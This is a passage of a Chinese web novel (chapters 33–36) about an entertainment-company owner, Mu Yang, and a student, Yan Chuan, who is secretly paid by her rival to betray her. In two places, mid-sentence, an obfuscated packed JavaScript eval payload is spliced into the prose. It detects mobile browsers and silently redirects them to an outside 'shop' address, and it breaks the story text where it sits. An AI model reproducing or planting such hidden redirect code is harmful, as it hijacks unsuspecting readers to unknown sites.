“是他着急要见我,是吗?”晏川忽然问。 “……啊。”薛有晴意味不明地发了个单音。 晏川明白这是薛有晴知道的信息太有限了,也不再多问。 他们果然没有往东海大学的 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绕过屏风,他们总算是进到了这个包厢里。一个男人坐在那里,看到他们就笑,身上有一种老派的温润和煦。 晏川的视线在他身上停留了一瞬,又看到男人身侧放着一个茶杯,离对方的位置有点远。 “你们来了,坐。想喝点什么,请随意。”男人说,示意服务生给他们看菜单。 晏川看着走过来的服务员,视线瞥到男人和屏风的连接处。 这里还有一道隐形门。 之前有人在这里? 还是……有个人一直在这里,而且就藏在门后? 薛有晴专注地看起了菜单,看架势就是打算一点也不客气地点个贵的。 “高总。”晏川抬起头。他把菜单合上,什么也没有点。 “你知道我?”男人笑了,“我几乎完全不露脸的,你怎么知道我的?” 晏川自然道:“猜的。” 高明煊笑着挥挥手:“给他也倒一杯。” 晏川得到了一杯和高明煊一样的茶。他接过喝了一口:“谢谢高总的茶。” “客气了,”高明煊说,“你们不是我公司里的员工,不用这么客气。我把你们当朋友,你们也把我当你们社会上的一个朋友就好了。” 薛有晴一点也没客气,指了那个最贵的茶,还要了很贵的茶点拼盘:“不介意吧老板?” “随便吃,随便喝,”高明煊大方道,“饿的话就留下来吃晚饭,我请客。” 晏川打量高明煊的脸。 他没看错,这个男人和过往照片里的样子相差无几,甚至看得出来保养得很上心,比当年还看不出年纪。 当初的高明煊为什么会和牧阳闹掰呢?明明沐阳娱乐刚成立的时候,牧阳发的博文里还有他们两人的单独合照。 那个江百川,牧阳都没有发过两人的单独合照。 “其实这次找你们来,也是想和你们见面聊聊,尤其是你,小同学,没想到我们的计划能这么顺利,这全都依赖你啊。” 寒暄几轮后,高明煊切入正题,笑着对晏川说。 “我要你继续,长期地,留在她身边。” 33. 【三三】 “所以,这就是你约我来这里的理由。” 牧阳一摊手,双眼摆明了写着“爱莫能助”的字眼。坐在她对面的女人美得不可方物,此刻正用一种楚楚可怜的眼神凝望她,声音更是放得绵软温柔:“牧姐愿意不计前嫌,我做什么都愿意的。” “明煊娱乐的名声都那样了,你还和他合作,就没有料到过今天吗?”牧阳叹了口气,“我还以为你很聪明呢。” “是我自作聪明了,”她垂下眼睑的时候,眼眶的微红显得更加惹人疼惜,“心存侥幸的赌徒而已。失败了也没有办法,现在只能再赌一把了。” 牧阳放下咖啡杯:“我不帮你呢?” “就像我说的,没办法啊。牧阳姐姐,你最好了,真的不帮帮我吗?” 牧阳顿了一下。近日的挫折竟然误打误撞磨练了云绘雨的演技,现在她的撒娇比之前还要自然不少。不过,她好像也不像过去那么没有抗性。 如今在她身边,一个远比提名影后更会撒娇的小朋友,已经出现了。 于是她轻轻一笑:“那我们来谈谈吧。” ……怎么回事? 云绘雨这次没有跟上牧阳的节奏。 她微微一愣,赶紧让身边的助理和牧阳那边的姬慧一起同步开工。姬慧打字的手速飞快,听她们的意思,好像还要在线上约一个律师。 云绘雨纳闷极了。之前和牧阳谈合作,每次只要她趁机撒娇,牧阳就会避开她的视线,推说“那我回去想一下,等我们出了计划再和你们对接”;显然之前的几次诱惑都十分成功,虽然这么做屡屡推迟双方的合作进度,但对她来说却是一次又一次的得意时刻。 虽然是开玩笑的“男神收割机”,但是“男神收割机”被她的魅力倾倒,难道不算她的本领? ……怎么这次,不管用呢? 等牧阳谈完带着她的团队离开,云绘雨都没琢磨明白自己这次的表情和话术有什么问题。直到看清助理整理好的种种条款,她才发现自己比往常预计的要多让利,当场就气得在包厢里大叫。 “姐,注意形象啊!”助理欲哭无泪道。 牧阳没耽搁时间。她和云绘雨一达成合作意向,就直奔机场准备回东海去。 她早已习惯这种奔波和忙碌。只是拉着行李路过两家挨在一起的店面时,若有若无的香气好像让她想起了自己的房子。 巧克力麦芬。 隔着橱窗,牧阳看到了货架上的小蛋糕,还有风尘仆仆的自己。再往旁边看,好像还看到了晏川提到过的某一样食物。 ……叫什么来着? “你先去休息,我买点好吃的。”牧阳和姬慧说。 姬慧已经累得不行了,一句话不答,点点头就往座椅的方向走。 牧阳走进烘焙店,按下快门,把照片发给晏川。 [小川]:就是这个 [小川]:(图片) 牧阳点开图片,放大。晏川把图里的糕点圈了出来,还配了一行小字。 ←就是这个(-^O^-) 她乐了,走过去指了指柜子里那个被箭头指着的食物:“我要一份这个。” “打包吗?” 牧阳想了想:“打包两份。哦对,再来一个巧克力麦芬,这个不用打包。” 回东海的第二天,牧阳就去东海大学——附近的咖啡馆等冯承兴了。 许久不见,冯承兴风风火火地就来了,热得立刻把身上的外套拆了,坐到牧阳身边:“天呐,终于可以休息了!” 牧阳也立刻搂住她,把一盒糕点塞到她怀里:“看我给你带了什么。” “什么什么……驴打滚?”冯承兴意外极了,“我以为是稻溪那边的特产呢,怎么是西京的零食。” “转机了啊,稻溪那边没留多久,没时间买特产。”牧阳皱皱眉。 冯承兴跟着她的表情作怪,两人被对方的鬼脸逗笑,纷纷笑出声来。 牧阳连忙啜了一口她面前的桂花可可,冯承兴哀叹着长出一口气,片刻后又直起身,用叉子去铲面前的抹茶云朵蛋糕。 “哎,你知道吗?学校现在有一批学生搞了个流浪动物救助小队,”冯承兴一边说,一边看向她那杯咖啡上的小猫拉花,“据说他们还拉到了一批赞助呢,最近天天在抓猫抓狗做绝育。” “那他们很热心啊。”牧阳笑了笑。 冯承兴点点头:“唉!学生只要不学习,做什么都可有热心了!一上课,这儿疼那儿痛的,难道我就想给他们上课?疯了吧。” “谁让我们冯姐厉害呢,你不教他们,他们哪出的来?”牧阳捧她。 “嘁,毕业了几个能有本事去你那?”冯承兴叹了口气,没等牧阳开口,又狠狠咽了一口蛋糕,骂道,“那个该死的,我上次课题……” 牧阳就这么静静听冯承兴一通抱怨。冯承兴骂完这个骂那个,把自己的同事拒稿的编辑作妖的同学催婚的父母通通炮轰了个遍,一块蛋糕很快消化得只剩下一点碎末了。 冯承兴说得有点累了,又揽住牧阳:“你呢,最近怎么样?你和你那个小鲜肉……” 牧阳一愣,突然想起晏川坐在病床边的样子。她有点琢磨不定道:“我好像……有点喜欢他。” “哈?!”聊到这,冯承兴是一点不累了,她眉毛一扬,亲切地凑近牧阳,直勾勾盯着她的脸。 牧阳大大方方地让她看:“看出什么没有?” “我又不是看面相的,我哪能看出什么?”冯承兴晃晃脑袋,“不对呀,这不是白天吗?我喝的不是咖啡吗?我怎么感觉有点晕呢?” 牧阳没好气道:“想喝啊?想喝我请你。” 冯承兴当真去前台要了两瓶啤酒。牧阳接过来一看,淡淡的碎金色,还挺漂亮的瓶子:“这什么?” “接骨木啤酒,好喝的,你尝尝。”冯承兴给牧阳倒了一杯。 牧阳尝了一口:“……有点像荔枝。” “……这么说还真是!”冯承兴喝了一口,“我觉得有点像梨。” “你说的也有点像。”牧阳点点头。 冯承兴挪回牧阳身边,又问她:“哎,你为什么这么说啊?” “就是口感和颜色……” “不是!我是说,你喜欢那个小鲜肉。”冯承兴竖起一根手指。 牧阳明白她为什么要拿酒了:“行了,我就是随口一说,你还整上了。” 冯承兴:“哎哎哎!这可是咱们姐妹说好的,聊感情问题,必须配酒。” 牧阳按住冯承兴的手:“喝了没一口就开始发疯了。我就是和你开个玩笑……好吧,确实有点好感?我和他还没发生什么呢,只是亲了亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992424|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很纯情的。” “哦,很纯情的,”冯承兴笑了一下,“我还不懂啊?你,怂。” 牧阳把手收回去,啤酒也不喝,喝她没喝完的可可。 “你确定你真的喜欢他?”冯承兴歪了歪头,“还是,你放不下江百川,在找代餐呢?” 听到这个名字,牧阳眼睛都瞪大了。她看了一圈周围,确实店里只有她们两个,这才放下心来:“你这话真是冤枉我!我怎么会还在乎江百川。” 冯承兴嘴角一抽:“真的不在乎,你也不至于回避他的信息了。” “没回避……”牧阳赶紧解释,“到时候还会在综艺里碰见。” “综艺碰见?”冯承兴晃了晃杯子,“那是你想的吗?不是你的那个谁……谁来着……小春!她安排的?” “……好吧。”牧阳反驳不了。 冯承兴戳了一下牧阳的脸颊:“承认吧!你对这种男人就是意犹未尽。虽然你对江百川早就已经厌烦了,但是你现在手上的这个……年纪还小,由你掌握,不是吗?” “你别把我说的……”牧阳吸了口气,“我真没有把人家怎么样,而且这种事情,不都讲究一个自愿吗?我又没有骗他。” “是是是,善良好心的大富婆姐姐——”冯承兴点点头,喝了一口啤酒,“你是想听这个?” “别调侃我了。”牧阳放下杯子。 “好,我不开玩笑了,”冯承兴敛了敛神色,清口道,“其实呢,男人在年轻的时候总是相似的。尤其是他们这种从小帅到大的,往往一路人生都顺风顺水,大学就是他们野心膨胀到巅峰的时候。这个时候呀,他们往往有一种天真的狂妄。而你,我的朋友,以我对你的了解……你就喜欢这种类型。” 冯承兴举起杯子,和牧阳手里的杯子碰了碰,一饮而尽。 牧阳愣了一下,低头看向手里的杯子。 “什么意思?” 冯承兴摇摇头,笑而不语,又给自己倒了一杯。 “你怎么喝上了?”牧阳拦住她,“慢点。要不要吃点东西?我去叫个小食拼盘。” “嘿嘿,好呀。”冯承兴托腮,“你有谈兴嘛,今天难得。” 牧阳去叫了一份小食拼盘。她走回来,脑子也变得更清明:“我觉得小川——晏川不是你说的那样,他看起来并不狂妄。我想你可能不了解他。” “我怎么可能会了解每个学生啊,我又不教他们全部人,”冯承兴摆手,“你说得对——我不了解他——哦——我不了解男人——” “咳咳,”牧阳打断她,“我是认真的。他不是那种能被一眼看透的类型。” “就是没江百川简单呗。”冯承兴下结论。 “……确实没有,”牧阳不得不汗颜,“小川……他真的太聪明了,他完全不好把控。” “那还不是一样?” “什么一样?” 冯承兴把剩下的啤酒倒进牧阳的杯子里,一直到给她倒满。 “一样一样,天真的狂妄!”冯承兴用一种戏剧表演时候的感叹语气念道,“不同的是,一种是蠢到无可救药,一种是算得太多,慧极必伤。” 牧阳眨眨眼。 “但是,不论是哪一种,”冯承兴端详着杯子,“都是特别把自己当回事的样子。你仔细想想,是不是真的这样?” 34. 【三四】 牧阳愣了好一会。她撑着头想了想,半晌才举起酒杯,喝了一口:“是有点这个意思。那还是你看得透,不愧是冯姐!” 冯承兴和她干杯。 牧阳喝了又问:“具体展开讲讲呢?” 冯承兴:“够具体了!还有什么好展开讲讲的,你以为是写论文。” 牧阳含笑问她:“多说说嘛,你的观察和看法啊,你对男人的理解,有什么说什么嘛。” 冯承兴不理牧阳。 小食拼盘已经热好了,服务员给她们端过来。牧阳和冯承兴挨个品尝了四样小食,分别沾了番茄酱和沙拉酱,做出一番点评。 甜咸一搭配,冯承兴又开心了,上头道:“哎,我说,你有没有觉得,你喜欢的这种类型,特别像一种状态!” “什么状态?”牧阳问。 “像……大型犬小时候。”冯承兴描绘道。 牧阳看着冯承兴的比划,只觉得太抽象:“……不懂。什么意思?” 冯承兴却已经跳频:“比起这个,当年我真觉得你了不起!简直是个神人!完全不需要休息的铁人!你哎,我真服了,在专业课那么忙的情况下,还有时间考证,管理学生会,最重要的是,你竟然还有时间谈恋爱!” 牧阳笑了:“好了好了……” “而且你还选了江百川这种……你需要哄的……嗯……高需求……” 牧阳:“巨婴?” 冯承兴更激动了:“你和他终于分了!我终于能说难听的话了!不过还是没你自己说得难听。” 牧阳转过头去,给自己续满啤酒。 “这个接骨木啤酒还挺好喝的。”牧阳说。 “是吧,甜甜的,我可喜欢了,”冯承兴说,“我还自己买了一箱囤在我房间,真的是被他们安利成功了。” “那你真的很喜欢了。”牧阳笑道。 “唉!还得是和你一起喝,我上一个搭子辞职了,这半年我都找不到人陪我聊聊天。”冯承兴的脸上已经开始起了红晕,“今天有点喝猛了,我好像有点急,现在头痛。” “这是真的痛了?”牧阳伸过手去,贴在她脑门上,“难受吗?” “你的手凉凉的,还挺舒服的。”冯承兴闭眼感受了一下。 “想睡了?想睡了就回去吧,都聊了一天了。”牧阳低头看时间。 冯承兴却好像突然陷入了回忆:“其实。” “嗯?” “我当年对你,其实有点不满,”冯承兴眨眨眼,干巴巴地说道,“不只是对江百川有不满。” 牧阳知道冯承兴一直不喜欢江百川。她点点头:“嗯,我知道。” 她能感觉得出来。 “其实是我觉得,江百川……他就像你的狗,”冯承兴比划着,“你是他的主人。你应该对他负责,但是你没有把他拴好,反而还觉得他这样很可爱。” “哪有!”牧阳一听这话,立刻反驳,“江百川算什么狗,他才不配当这么可爱的东西。” “那你说,他算什么?”冯承兴困惑问。 牧阳:“前任。” 冯承兴愣住了,反应了好几秒,突然大笑出声:“噗哈哈哈哈,就两个字?不是人也不是狗,只是前任。” “别提他了,”牧阳侧开身,“提到他就烦。” 两人走出咖啡馆的时候天已经很黑了。冯承兴走路慢吞吞的,仔细看步伐不是很稳。牧阳干脆决定步行送冯承兴回教工宿舍:“你怎么还住在那,首付钱还没凑齐?” “这不还没等到我心仪的房子嘛,”冯承兴今天吃饱喝足,畅快极了,“我要攒钱买大豪斯——” “我送你一个,你又不乐意要。”牧阳笑。 “那不一样,你过上好日子我高兴,我也得努力奋斗不拖你后腿呀……”冯承兴想了想,“哦!不过,如果你有空的话,三叶岛的那个别墅夏天带我去避暑呗?我今年放暑假就不回家了。” “好啊,要是我没时间,你就自己住。哦不过,你要小心啊,据说那边晚上有美人鱼,你不要大晚上跑出去被美人鱼吃了。” “我是这种人吗?!” 好不容易送走了冯承兴,牧阳在楼下站了一会,一边醒酒,一边看邻近的一排路灯。 她掏出手机,打了一个电话:“在做什么?” 晏川在寝室接到的电话:“谦谦姐姐?” “嗯,是我。”电话那头的牧阳说。 “我在学习,”晏川实话实说,“准备等会就洗漱睡觉了。姐姐有事找我吗?” “没什么事,就是刚好现在在学校的南门。”牧阳一边说着,一边抬头看了看天色。 “等我,我马上来!”晏川说。 牧阳没有等多久。 夜晚温度更低,晏川加了一件外套,此时衣摆被风吹起,当真是很有少年感。 她眨了眨眼,他已然凑近她,像小狗一样凑近她闻了闻:“你来看我了。” “顺便的。”牧阳很直地说。 “看来姐姐是来找这边的老师了。”晏川转头扫了眼最靠近门的那栋教工宿舍。 “对啊,来找你冯老师。”牧阳点点头。 “原来如此,”晏川点点头,终于舍得撤出她的“安全距离”,“你和冯老师果然关系很好。” “算是吧。”牧阳并不在意,率先一步往前走去,“这么多年下来了,还能一直保持联系的朋友,其实不多了。” 返校的学生经过她的身边,带起一阵青春的夜风。 他们好像是刚结束聚会回来的。她仿佛还能捕捉到那种笑声,那种散场的时候,三三两两走在一起,时不时爆发一阵的笑声。 那天散场,也是这样一个天上暗到没有一颗星星的夜晚。她记得满街的霓虹灯都照在她手里的报销单上。薄薄的一张,她怕丢了,夹在饭卡卡套里。 “慢走啊。”好像是服务员说的吧。 包厢里没有落下的东西。应该,大概,反正她是最后走的,她确认了两遍,什么也没有看到。 牧阳默默把饭卡塞进口袋。当她漫步走向街道,准备跟着大家一起回宿舍时,年少的江百川就这样站在路边等她。 “来了。”江百川当年还梳着那种很韩式的发型,现在看来早就过时了。但在当年,大概是很帅的吧?她走过去的那几步,好像每一步都有女生在回头看他。 江百川酒量并不好,但是别人哄他,他就上当。此刻他好像是有点上头了,脸红红的,晕染出些许羞意。 她没想到他会等:“落东西了?” “没有,”他慢悠悠地说,“等你。” 牧阳笑了一声。她望向理发店门口旋转的灯柱,看药店滚动的说明,分辨面包店门口的折扣海报,假装它们很精彩似的。 都喝了不少,两人走得很慢,直到红灯的灯光倒映在他的脸上。 牧阳半开玩笑地说着:“我看新手机也不用买了,有你现在这张脸就够了。” 江百川竟然没有像往常那样生气。他既没有怼回来,也没有去找别人告状,而是呆愣了一会,继而目光灼灼地看着她:“喜欢吗?” “嗯?”牧阳不明所以。 “……我的脸。” 他凑近她:“你可以盖个章。” 牧阳下意识后退一步,笑道:“这么想吃巴掌啊,刚刚大冒险的时候怎么不提。” 绿灯了,她逃也似的往前走。 快几步,慢几步,她立刻就被身后的人追上了。 江百川说:“……吻我。” 牧阳转过头:“……啊?” 她一点没反应过来。 江百川不看她偏过头:“只给你这一次机会。” 牧阳记得自己没理他。 两人穿过校门,一路往宿舍的方向走去。他跟着她,情绪肉眼可见的失落,又好像一种不甘心,拖着他不肯放弃。 下一秒,一股力量不由分说地拽着他,把他拖进了停满自行车的小巷里。 她的手臂撑在他身侧,很强势的姿态。 牧阳想起那个吻。她是踮着脚亲的他,他的反应很好,让她有一种征服的满足感,她说不清她是爱上了那个吻,还是爱上了那个人。 “我盖章了,”当时她说,“那你就是我的人了。” 江百川抵着她的头:“嗯。” “知道要干什么吧。”她的手漫不经心地划过他的衣领,脚跟也踏实落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992425|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 他低声说:“都听你的。” 话音刚落,他们就听见巷子外有人在喊。 “牧阳——” “我在这!”牧阳冲出去,“冯姐,你找我。” “哪去了,找不到人,还以为你没回校呢。”冯承兴脸上的担忧做不得假。 牧阳笑着挽住她的手:“走吧走吧。” “怎么突然笑得这么灿烂,你中彩票了?”冯承兴困惑道,“不对,是不是还少了一个人?江百川呢?” “别管他了,我们回寝室去。”牧阳说。 灯芒闪烁,她的影子越来越短。晏川忽然有一种紧迫感,这种紧迫促使他迈步追去,以一种极快的速度跟紧她,贴在她身边。 “……谦谦姐姐?刚刚在想什么。”他问。 牧阳笑了一声:“哦,没什么,想到点过去的事。” 晏川静静地看着她。 “之前,我和她在这条路上疯跑过,”她解释道,“比赛谁先回寝室。其实,我和冯姐那个时候也不算熟,反而是快毕业才真正熟起来的。她打算考研,我忙着实习,反而有时间互相倒苦水。” “你们以前比赛回寝室,还疯跑?”晏川有些难以想象。 “之前这条马路没这么宽,那条道超级适合赛跑。”牧阳一本正经说瞎话,指了指对面那条马路,“看,他们就在跑。” 晏川顺着她指的方向看过去,只看到一对相拥的情侣,前进的速度堪比乌龟。 他回过头来:“那或许我们的竞走也不错。” “好啦,”牧阳拉住他的胳膊,“走慢点,就当陪陪我了。” 晏川顿了一下,嘴角不自觉地牵起:“嗯。” 两个人离校门越来越近了。 他能感觉到从她手掌传来的温度,又暖又痒,好像直连到他的心里去了。 “那……你之前呢?”他忍不住问。 “什么之前?” “你之前……”晏川觉得自己有点明知故问了。 “之前就是和社团里的人一起玩啊,”牧阳却明白了他想问什么,“当年我可是学生会戏剧社两手抓的扛把子,没有我摆不平的事!” “嗯。”晏川笑了,“谦谦姐姐超厉害。” 他当然知道,“牧阳”大学的时候最熟的就是社团里的朋友。她的博客里,但凡出现照片,总是社团成员聚会的合照。看多了,重复的脸他都记得。 偶尔一张照片说明不了什么。 每一张合照,江百川都在。 他们的关系就是从那个时候开始的吧。所以他可以莫名其妙地闯进来,再莫名其妙地带走一盆绿萝。 伤害得理所当然。 轻蔑?那就更熟悉了。 “在想什么?”她的声音。 晏川忽然感觉自己的灵魂被扯住了,沸腾的心也跟着平静下来。 “没什么。”他避重就轻。 牧阳抬眼看了看他飘走的神色,没有追问,视线落回手机上:“接我的车要来了。” “好。”晏川点点头。 这样的相聚时间太短了。 可是他有资格说延长吗?也许来见他,本来就是顺便的吧。又或许,甚至只是为了顺便的“摆拍”…… “你和我回去吗?还是说,你要回宿舍?” “……啊?” 牧阳无奈地叹了口气:“你明天没课。从我家去公司距离短,通勤不费时间。看你。” “……哦,哦。”晏川像是终于听懂了她在说什么似的,低下头的瞬间,展现他慢了半拍的腼腆。 他该不会忘了要去她的公司实习吧? 牧阳拍拍他的胳膊,等他做决断。 黑金色的屏风暗沉深邃,仿佛要将室内的光都吞噬。 室内没有焚香,窗户好像也开着。空间的开阔,阻隔不了三人之间压抑的气氛。 “你要取得她的信任,”高明煊慢慢地说,“关键时刻,才能给她致命一击。” 他大概是对他很满意的,表情神态不必说,身体上的反应也很放松,气场上也在传递认可。 晏川笑了。 “没问题。” 他说。 35. 【三五】 “这么气定神闲的,不知道的以为你来过呢。”牧阳刷脸让保安放晏川过闸机。 沐阳娱乐所在的写字楼大厅宽敞、明亮,按照牧阳本人的话来说,这里“气场好,给人的感觉很舒服”。 晏川的视线在如今的鹿角咖啡上一转而过,立刻跟上牧阳,抢先按下电梯的上行按钮。 牧阳看着晏川骤然靠近的脸:“在笑什么?” 晏川果断凑到她耳边,小声说:“竟然没有人分成两排跑过来迎接你。” 耳边的气息痒痒的。 “……想什么呢,”牧阳立刻拉开距离,不过也被他逗笑了,赶紧推他一把,“上个世纪的电视剧把你脑子荼毒了?快点,我们可不能迟到。” “大老板也有考勤任务?”晏川难以置信。 “那倒没有,公司不坐班,没有考勤管理。”牧阳指挥他按对应楼层,“我就是想吓王正芙一跳。” “谁?” “咱们的公关。”牧阳想了想,“也是你姐姐。” “……行。” 牧阳竟然还在看表,显然是对等下的惊吓想要蹲点:“稳了稳了。” 电梯门一开,牧阳便大步流星地走过去,一直走到进门处背对着走廊的那个空位旁边,指着这个地方:“来,坐这。” “……这?”晏川迟疑了一下。 “快点!”牧阳对他的抗拒半点没察觉,无声地拍拍桌子,做了个口型。 “牧姐!”姬慧惊讶的声音从晏川身后响起。 牧阳捂住额头,尴尬地笑了:“早啊。这么早就过来。” 姬慧反倒是显得有点心虚:“这几天……作息没调过来……熬夜了……” 牧阳无奈挥挥手:“上午有个会,中午吃饭时间没什么事,你记得补个觉。” 大概是姬慧这一声嚷嚷,让她的计划泡汤了。牧阳耸耸肩,转头对晏川道:“包放下吧,等会找黄大哥给你配个电脑。” 晏川左右看了看,发现办公室里稀疏坐着的几个人此刻都抬着头看自己。他尴尬地笑了笑,低下头,发现周围几个工位都有东西,但又都没有人。 他只好先放下包,然后左右一转,观察这个位置——后面是电梯,旁边是会议室,前面是老板办公室。如此不利摸鱼的局面,更是还有三面走廊雪上加霜,难怪这个位置一直空着! “小川?”牧阳喊他。 晏川立刻回头,跟着牧阳走:“来了!” 那张桌子本来就是多出来的,哪有打工人想坐这种位置?但是从自己的办公室抬眼望过去,就能看到这个工位上的人的脸,难道不算一种赏心悦目? 牧阳笑了笑,也没关门,坐下就开始处理公司这几天积攒的事务。没多久,她提到的“王正芙”就带着资料冲了进来。 王正芙走得太急,进来就开始和牧阳聊正事,牧阳当然也是开始和她同步信息。聊着聊着,王正芙换了个姿势,自然就看到静候在一旁的晏川,一愣:“……你?” 牧阳一瞬间也有些尴尬,给了晏川一个安抚地笑容,起身推着王正芙就往外面走:“没事没事,我们去你工位看看。” 晏川还站在原地。刚才他听了一会,虽然不知道她们在聊什么,但似乎总不像沐阳娱乐的主要业务。为什么会提到云绘雨? 他的手一动,又下意识紧扣在桌上,像是自己和自己较劲一般。 晏川又想起高明煊那张脸,还有他当场转到自己和薛有晴账户上的钱。 “从前年开始,联盛基金对你的资助就停了吧。”高明煊话音平淡,说出的内容却让他后背直泛凉意,“不要辜负我们的培养。” “你还在这啊?”姬慧的声音困困的,她手一松,一下把十几个文件堆在桌子上。 晏川回过神来:“……嗯。” 几个文件没叠稳眼看就要掉下,他连忙伸手接住,快速将它们码好,摞列整齐。 姬慧道了谢,顺着晏川的视线往外看了一眼,懒散道:“牧姐和芙姐去忙了,一时半会回不来的。” 晏川连忙问她:“现在需要我做什么吗?” 姬慧也没想到晏川会这么问。她想了想,估计是牧阳这么久都没处理公司的工作,忙得把这个临时男友忘了。 “那你去帮牧姐泡杯茶吧。”姬慧指了指办公桌上的杯子。 那是一只带盖的小狗马克杯。 这个造型还真是搞怪,盖子上的小狗丑得可以,仔细一看又有点萌。晏川小心地拿在手里,还想仔细打量这个杯子,姬慧已经在招呼他:“茶水间在这边。” 茶水间的零食是一箱一箱的,丰盛得像松鼠过冬的树洞。晏川看过几个造型各异的咖啡机,又瞥到六层收纳柜里琳琅满目的各色茶包:“她平时……喝什么?” 姬慧也愣住了:“……这,我也不知道。”她最多对牧阳和她们拼单点奶茶时候的口味有些了解。 晏川掀开盖子,低头闻了闻。 姬慧忙着给自己接冰美式,根本没看到他的动作:“你等会去姐的办公室等她吧,我先回去了。” 她显然熬穿了夜精神不济,狠狠灌了一口冰美式,脚步虚浮地出去了。 晏川当然不想回工位,当下应了一声,眼神在各类茶包中逡巡,最后定格在左下角的巧克力粉上。 牧阳回到办公室,忽然听到有人敲门。她一抬头,就看到玻璃门外端着丑萌丑萌小狗水杯的晏川。 想起自己回来随手就把门带上了,牧阳连忙起身拉开门放人进来:“你去帮我倒水了?” 晏川点点头:“不过,就是水。” “好贴心啊。”牧阳之前从没麻烦过别人帮自己倒水,体验也很新奇,当下一边夸,一边接过水杯,打开盖子。 她看清自己的倒影,抬头:“就是水?” “温水。”晏川也有点不好意思,“不确定你想喝什么,就先倒了这个。你有什么想喝的吗?” 牧阳喝了一口,把水杯放下了:“挺好的,没事。白开水健康。” 她低头想继续看文件,却总觉得身边的那个人存在感越来越强了。“你……” “哦对,还没安排你。”牧阳终于想起来为什么他会在她办公室站岗了,于是随口安排道,“等会你陪我下楼走走吧。先回自己工位,有不懂的问姬慧。小川?” “嗯。好!”晏川得到了指示,这才笑着出去了。退到门边,他又往里张望:“姐姐?” “嗯?”牧阳转头。 “中午一起吃饭吗?”晏川问。 “不了,我还要忙。”牧阳下意识摆摆手,等人走了 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晏川仗着前排大哥看不见,冲她做了个口型:“玩不起。” 路灯投影掠过他们,光影轮转间,牧阳吃惊地瞪着他,明显看清了他的口型。 “黄大哥!”她直接转头不理他,去和司机寒暄套近乎,“辛苦你这么晚送我们一趟!” “没事哈哈哈,刚好下班,顺路。”那个被叫“黄大哥”的司机笑了笑,明显不想再多接话,但架不住牧阳要和他聊。 晏川伸过手去,又要摸黑牵她的手。 牧阳一下打掉他的手。他再伸过去,牧阳没有再打开,任由他牵着直到下车。 不过一到家,她就把卧室门一关,“任他自生自灭”,再也不出来了。 眼下,晏川立刻抓紧了牧阳的手,手指从她的指缝中穿过:“玩?” “工作呢,”牧阳用一种煞有介事的语气提醒他,神情却是相当放松,“这叫——视察,你懂不懂?” “不懂,”晏川故意幽幽道,“老板这是要带我去哪?” 牧阳一下就想把手抽回来。奈何十指相扣的时候,想做到这一点并不容易。她正准备再用力,他却主动松开了些,让她的手指顺利通过。 晏川低下头,掩过脸上一闪而过的失落,忽然感觉自己的手又一次被牵住了。 牧阳拇指搭在他四指上,抬起他的手:“这样牵,舒服。” “那我可以这样包住你。”晏川果断回握,把她的手指拢在他掌心。 “……好吧,”牧阳晃晃两人牵着的手,“这样也不错。走咯!” 她竟然小跑起来,牵着他奔过走廊。午后的阳光洒满走廊,连她扬起的头发都泛着淡淡的金。 “我们是小朋友吗?”晏川小声地问,控制自己的步伐不紧不慢地跟着她。而始作俑者按完电梯,冲天一指,那架势好像在模仿超人。 牧阳收回手,在两人面前摇了摇:“这样牵手,省力。哪怕到了冬天,手套一戴,也是这样牵。” 她说完也愣住了。这话说得好像他们就能这么从入夏谈到入冬一样。 仿佛两个人能有以后。 晏川笑了。他低头凑近她:“……好啊。” 36. 【三六】 牧阳不确定他在笑什么。她转开视线,专心盯着电梯上下降的数字。等门一开,她就迫不及待地率先出去,好像真是把这当成一场散心的春游,顺便不忘把另一个还笑得莫名其妙的小朋友也牵了出来。 “这一层主要有我们自己搭设的演播厅,一般我们自己的团会在这边录团综……”她有心给晏川介绍目前公司当前主捧的偶像团体,忽然感觉走廊里气氛反常,远远望去,还能看到走廊尽头站着两个黑帽黑口罩的黑衣人。 条件反射的,她一把将牵住的晏川甩了出去,还从背后推他一把。 晏川毫无准备,就感觉到自己冒着泡酥了半边的手被扯开了,后背还被大力推了一把,他一个踉跄不稳,直接滑出去半步,撞到一个墨蓝色头发的年轻人。 “第四!”墨蓝色头发的年轻帅哥出现得突然,好像是从右手边这扇门突然闪出来的。 晏川正打量这扇门呢,余光忽然扫到旁边一个活动的摄像机位,顿时冷汗就要下来了。 “干嘛呢,别吓着人。”又是一声。一个打领带,戴着眼镜的正装男走出来,把那个墨蓝色头发的帅哥拉到一边,两人贴在墙根上。 正装男严肃道:“不好意思,打扰了。” 晏川的视线还停留在正装男那个看起来很有视觉系效果的眼线上,立刻反应过来自己有些不礼貌了,连忙后退半步,客气地笑:“没关系。你们这是?” “我们在……”墨蓝色头发的帅哥含含糊糊的,正装男显然不满,正要开口,三人身后就是字正腔圆的洪亮嗓音。 “我……我我我我我——老板……怎么是老板啊?!” 晏川立刻转过头。 这位的颜值更是天花板级别的,晏川看到都有一瞬的恍惚。接着,他就看清了这位帅哥手里那枝纯手工制作而成的塑料花。之所以一眼手工,是因为制作者明显笨手笨脚,害得这朵花像开了一半就回家去吃饭了。 帅哥一头金发宛如阳光下的麦穗,连带着鎏金色的美瞳也像含了泪似的楚楚可怜,骤然接触到晏川疑惑的视线,整个人甚至夸张地抖了一下,看起来被吓得不轻。 